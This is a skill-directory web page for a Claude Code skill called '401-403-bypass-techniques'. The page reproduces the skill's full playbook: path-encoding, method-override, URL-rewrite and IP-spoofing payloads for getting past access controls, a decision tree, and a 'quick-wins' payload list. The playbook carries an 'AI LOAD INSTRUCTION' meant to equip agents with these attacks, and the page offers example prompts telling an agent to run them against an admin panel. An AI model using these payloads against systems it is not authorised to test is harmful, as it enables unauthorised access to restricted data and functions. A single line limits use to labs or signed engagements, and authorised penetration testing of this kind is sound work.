Skip to main content
affpapa.org
RU EN
skill CX Codex

401-403-bypass-techniques — Claude Code skill: bypass 401 and 403

A playbook for access-denied responses: what to try when an admin panel or API endpoint answers 401 or 403.

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓ 
npx skills add yaklang/hack-skills --skill 401-403-bypass-techniques -a claude-code
Open on GitHub

What 401-403-bypass-techniques does

The skill loads when testing hits an access-denied wall on an admin panel, an API endpoint or a restricted path. Inside is a matrix of tricks: path manipulation, HTTP method tampering, header injection, protocol version switches and combinations of several techniques at once.

The path section covers normalization: trailing slash, case, single and double URL encoding, overlong UTF-8, dot segments, null byte, path parameters such as /admin;foo=bar, backslash for Windows/IIS. Then come methods (POST, PUT, PATCH, OPTIONS, TRACE, HEAD), override headers (X-HTTP-Method-Override, X-Method-Override, _method in the body), URL rewrite headers (X-Original-URL, X-Rewrite-URL) and IP spoofing through X-Forwarded-For and friends. A table maps tricks to Apache, Nginx, IIS/ASP.NET, Tomcat and Spring.

The useful part is that the tricks stack: method plus URL rewrite, IP spoof plus encoded path. Run this against your own lab or inside a signed engagement — anything else stops being a pentest.

What it helps with

  • check an admin panel that returns 403 to a plain request
  • find a path variant the proxy fails to normalize
  • get past an IP allowlist with an X-Forwarded-For header
  • pick an HTTP method the ACL actually lets through
  • chain a method, a header and path encoding into one request

Example prompts for the agent

  • The admin panel returns 403, run the bypass techniques from the skill against it
  • Try /admin with POST and OPTIONS, and with an X-Original-URL header
  • The API endpoint is IP-restricted — try the address spoofing headers from the playbook

How to install 401-403-bypass-techniques

1Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill 401-403-bypass-techniques -a claude-code

2Manually: put the files in place

~/.claude/skills/401-403-bypass-techniques/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/401-403-bypass-techniques/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about 401-403-bypass-techniques

How do I install 401-403-bypass-techniques in Claude?

Run npx skills add yaklang/hack-skills --skill 401-403-bypass-techniques -a claude-code. The skill file then sits at ~/.claude/skills/401-403-bypass-techniques/SKILL.md.

What does 401-403-bypass-techniques do?

It hands the agent a ready set of access-denied bypasses: path manipulation, method tampering, headers, protocol version switches and combinations of them.

Which skills does it link to?

It points at authbypass-authentication-flaws, waf-bypass-techniques, http-host-header-attacks, request-smuggling and http2-specific-attacks — reach for those when a WAF or routing layer is the thing blocking you.

Source text

SKILL.md · MIT 
---
name: 401-403-bypass-techniques
description: >-
  401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
---

# SKILL: 401/403 Bypass Techniques — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos.

## 0. RELATED ROUTING

- [authbypass-authentication-flaws](../authbypass-authentication-flaws/SKILL.md) — broader auth bypass (login flaws, session handling)
- [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) — when bypass is WAF-specific rather than access control
- [http-host-header-attacks](../http-host-header-attacks/SKILL.md) — Host header manipulation for routing bypass
- [request-smuggling](../request-smuggling/SKILL.md) — smuggle past access controls entirely
- [http2-specific-attacks](../http2-specific-attacks/SKILL.md) — h2c smuggling to bypass proxy ACLs

---

## 1. PATH MANIPULATION BYPASSES

The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently.

### 1.1 Trailing Slash / Missing Slash

```
/admin      → 403
/admin/     → 200  ✓ (trailing slash)
/admin/.    → 200  ✓ (trailing dot)
```

### 1.2 Case Sensitivity

```
/admin      → 403
/Admin      → 200  ✓
/ADMIN      → 200  ✓
/aDmIn      → 200  ✓
```

Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS).

### 1.3 URL Encoding

```
/admin          → 403
/%61dmin        → 200  ✓ (encode 'a')
/admi%6e        → 200  ✓ (encode 'n')
/%61%64%6d%69%6e → 200  ✓ (full encode)
```

### 1.4 Double URL Encoding

```
/admin              → 403
/%2561dmin          → 200  ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f         → 200  ✓
/admin..%252f       → 200  ✓
```

### 1.5 Unicode / UTF-8 Encoding

```
/admin          → 403
/admi%C0%AE     → 200  ✓ (overlong UTF-8 for '.')
/admi%C0%6E     → 200  ✓ (overlong encoding)
/%C0%AFadmin    → 200  ✓ (overlong '/')
```

### 1.6 Dot-Segment / Path Traversal

```
/admin          → 403
/./admin        → 200  ✓
//admin         → 200  ✓
/admin/./       → 200  ✓
/.//admin       → 200  ✓
/admin..;/      → 200  ✓ (Tomcat path parameter)
```

### 1.7 Null Byte

```
/admin          → 403
/admin%00       → 200  ✓
/admin%00.json  → 200  ✓
/%00/admin      → 200  ✓
```

### 1.8 Path Parameter Injection

```
/admin          → 403
/admin;foo=bar  → 200  ✓ (Tomcat/Java treats ; as path param)
/admin;         → 200  ✓
/admin;x        → 200  ✓
```

### 1.9 Trailing Special Characters

```
/admin%20 (space)  /admin%09 (tab)   /admin? (empty query)
/admin.json        /admin.html       /admin/~
```

### 1.10 Backslash (Windows/IIS)

```
/admin\    /admin\..\/    \..\admin
```

### 1.11 Combined Path Tricks

```
///admin///    /./admin/./    /admin/..;/admin (Tomcat)    /%2e/admin
```

---

## 2. HTTP METHOD BYPASS

### 2.1 Direct Method Change

```
GET  /admin → 403
POST /admin → 200  ✓
PUT  /admin → 200  ✓
PATCH /admin → 200  ✓
DELETE /admin → 200  ✓
OPTIONS /admin → 200  ✓ (may leak allowed methods)
TRACE /admin → 200  ✓ (may reflect headers — XST)
HEAD /admin → 200  ✓ (same as GET but no body — confirms access)
```

### 2.2 Method Override Headers

When the proxy blocks by method, but the backend reads override headers:

```http
GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT

GET /admin HTTP/1.1
X-Method-Override: POST

GET /admin HTTP/1.1
X-HTTP-Method: DELETE

POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT  (in POST body — Rails, Laravel)
```

### 2.3 Custom / Invalid Methods

```
FOOBAR /admin HTTP/1.1     → some ACLs only check GET/POST
GETS /admin HTTP/1.1       → typo-like methods may bypass
CONNECT /admin HTTP/1.1    → proxy may tunnel
PROPFIND /admin HTTP/1.1   → WebDAV method
MOVE /admin HTTP/1.1       → WebDAV method
```

---

## 3. HEADER-BASED BYPASS

### 3.1 URL Rewrite Headers (Nginx/IIS)

These headers tell the backend the "real" URL, bypassing proxy-level path checks:

```http
GET / HTTP/1.1
X-Original-URL: /admin

GET / HTTP/1.1
X-Rewrite-URL: /admin
```

The proxy sees `GET /` (allowed), but the backend routes to `/admin`.

### 3.2 IP Spoofing Headers (Whitelist Bypass)

Headers to try (each with values `127.0.0.1`, `10.0.0.1`, `0.0.0.0`, `::1`):

```http
X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1
```

IP encoding variants: `0177.0.0.1` (octal), `2130706433` (decimal), `0x7f000001` (hex), `localhost`

### 3.3 Other Header Tricks

```http
Referer: https://target.com/admin     # Referrer check bypass
Origin: https://target.com             # Origin check bypass
Host: localhost                         # Host header manipulation
X-Forwarded-Host: localhost            # Forwarded host
Content-Type: application/json         # Content-type switch
X-Requested-With: XMLHttpRequest       # AJAX flag
```

---

## 4. PROTOCOL VERSION BYPASS

```http
# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0

# HTTP/0.9 (extremely legacy — no headers)
GET /admin

# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See ../http2-specific-attacks/SKILL.md for H2-specific bypasses
```

---

## 5. VERB TAMPERING + PATH COMBINATION

Combine multiple techniques for higher success rate:

```http
POST / HTTP/1.1                          # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET

GET /%61dmin HTTP/1.1                    # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1

GET /Admin HTTP/1.0                      # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1
```

---

## 6. TECHNOLOGY-SPECIFIC BYPASSES

| Server | Key Tricks |
|---|---|
| **Apache** | `/admin/` (trailing slash), `/.admin` (dot prefix), `/admin%0d` (CR) |
| **Nginx** | `/Admin` (case), `/admin../` (normalization), `X-Original-URL: /admin` |
| **IIS/ASP.NET** | `/admin;.css` (path param+ext), `/admin\` (backslash), `/admin::$DATA` (ADS), `/admin%20` |
| **Tomcat/Java** | `/admin;foo` (path param), `/admin..;/` (traversal), `/;/admin` (empty param) |
| **Spring** | `/admin.anything` (suffix matching, older), `/admin/` (trailing slash) |

---

## 7. AUTOMATED TOOLS

| Tool | Purpose | URL |
|---|---|---|
| **byp4xx** | Comprehensive 403 bypass scanner | github.com/lobuhi/byp4xx |
| **403bypasser** | Automated header/path/method bypass | github.com/sting8k/403bypasser |
| **dirsearch** | Directory brute-force with encoding variants | github.com/maurosoria/dirsearch |
| **feroxbuster** | Recursive content discovery | github.com/epi052/feroxbuster |
| **Burp Intruder** | Custom payload lists for manual testing | portswigger.net |

### byp4xx usage

```bash
# Basic usage
./byp4xx.sh https://target.com/admin

# Output shows all attempted bypasses and their response codes
# 200/301/302 responses = potential bypass found
```

---

## 8. DECISION TREE

```
Got 401 or 403 on a path?
│
├── Try PATH MANIPULATION first (highest success rate)
│   ├── /path/      (trailing slash)
│   ├── /PATH       (case change)
│   ├── /path%20    (trailing space)
│   ├── /./path     (dot segment)
│   ├── //path      (double slash)
│   ├── /path;x     (path parameter — Java/Tomcat)
│   ├── /path..;/   (Tomcat specific)
│   ├── /%2e/path   (encoded dot)
│   ├── /path%00    (null byte)
│   ├── /path%23    (encoded hash)
│   └── Result? → 200 = bypass found
│
├── Path tricks failed → Try METHOD BYPASS
│   ├── POST/PUT/PATCH/DELETE/OPTIONS
│   ├── HEAD (same as GET without body)
│   ├── X-HTTP-Method-Override: PUT
│   └── TRACE (may reflect auth headers — XST)
│
├── Method tricks failed → Try HEADER BYPASS
│   ├── X-Original-URL: /path      (Nginx/IIS rewrite)
│   ├── X-Rewrite-URL: /path       (same concept)
│   ├── X-Forwarded-For: 127.0.0.1 (IP whitelist)
│   ├── X-Real-IP: 127.0.0.1
│   ├── True-Client-IP: 127.0.0.1
│   └── Referer: https://target.com/path
│
├── Header tricks failed → Try PROTOCOL BYPASS
│   ├── HTTP/1.0 instead of 1.1
│   ├── HTTP/2 h2c smuggling (../http2-specific-attacks/)
│   └── WebSocket upgrade
│
├── Single techniques failed → Try COMBINATIONS
│   ├── Method + Path: POST /PATH/
│   ├── Header + Path: X-Forwarded-For + /path%20
│   ├── All three: POST + X-Original-URL + IP headers
│   └── Protocol + Path: HTTP/1.0 + encoded path
│
├── All bypasses failed → Consider ALTERNATIVE APPROACHES
│   ├── Request smuggling (../request-smuggling/) → smuggle past ACL
│   ├── SSRF (../ssrf-server-side-request-forgery/) → access from server
│   ├── IDOR (../idor-broken-object-authorization/) → access data directly
│   └── Auth flaws (../authbypass-authentication-flaws/) → login bypass
│
└── Automated scan with byp4xx / 403bypasser for completeness
```

---

## 9. QUICK REFERENCE — KEY PAYLOADS

```http
# Top 10 quick-wins (try these first)
GET /admin/     HTTP/1.1        # trailing slash
GET /Admin      HTTP/1.1        # case change
GET /admin%20   HTTP/1.1        # trailing space
GET /./admin    HTTP/1.1        # dot segment
GET //admin     HTTP/1.1        # double slash
POST /admin     HTTP/1.1        # method change
GET / HTTP/1.1                  # X-Original-URL bypass
X-Original-URL: /admin
GET /admin HTTP/1.1             # IP whitelist bypass
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1        # IIS path param
GET /admin..;/ HTTP/1.1         # Tomcat bypass
```

© yaklang · MIT · yaklang/hack-skills

Similar skills

Everything for Security →
network-101 zebbern A skill that walks the agent through standing up and testing HTTP, HTTPS, SNMP and SMB in a pentest lab, from service config to log analysis. CX Codex +1 ★ 4,676repo stars game-hacking-techniques gmh5225 Classifies game-cheat capabilities and defensive boundaries across memory, rendering, input, and kernel layers. Built for authorized threat modeling. CX Codex +1 309installs caido-mode caido Wires your agent into Caido: search HTTP history with HTTPQL, probe with proxied curl, and hand requests off as named Replay sessions. CX Codex +1 2,700installs fix-security-vulnerabilities-with-strix usestrix This skill triages validated Strix findings, fixes their root causes, and runs Strix again to verify the result. Use it after a CLI or cloud scan. CX Codex +1 15,700installs owasp-top-10-testing usestrix Runs Strix AI agents to execute exploits across OWASP Top 10:2025 categories. Useful for verifying attack paths with concrete proofs-of-concept before audits. CX Codex +1 12,800installs ctf-web ljagiello Routes and guides agents through web CTF challenges, covering everything from SQL injection and SSTI to auth bypasses and SSRF. CX Codex +1 9,700installs

From the same set93

api-sec Routes API security testing across REST, GraphQL, and mobile backends. Helps an agent choose the right testing track before running deep checks. CX Codex +1 3,900installs xss-cross-site-scripting A skill that feeds your coding agent non-obvious XSS vectors: context-specific payloads, WAF and CSP bypass. CX Codex +1 3,900installs waf-bypass-techniques A skill offering WAF evasion methods for injection testing. It guides payload mutation through encoding, chunked requests, and parser discrepancies. CX Codex +1 3,800installs api-auth-and-jwt-abuse A playbook for probing bearer tokens, API keys and claim trust. Useful when an API leans on JWT or request headers for identity. CX Codex +1 3,800installs api-recon-and-docs A playbook skill for mapping REST, mobile, and GraphQL API surfaces. It finds hidden routes, OpenAPI schemas, and legacy version drift before testing. CX Codex +1 3,800installs idor-broken-object-authorization A testing playbook for IDOR, BOLA and BFLA: where object identifiers hide, how to run A-B tests, and how to chain a finding into privilege escalation. CX Codex +1 3,800installs jwt-oauth-token-attacks A skill for Claude and other AI editors that walks through attacks on JWT tokens and OAuth 2.0 flows. Useful when you need to check how an app trusts tokens and keys. CX Codex +1 3,800installs authbypass-authentication-flaws Testing playbook for authentication flaws. It guides assessments of login flows, password reset logic, account enumeration, brute-force protections, and MFA bypasses. CX Codex +1 3,800installs

Project sponsors

Companies that keep this analytics open
Gold sponsor
Nutra.Club

Impressions, clicks and code copies — open statistics. We keep the numbers public for the same reason NeBlask itself is public. Become a sponsor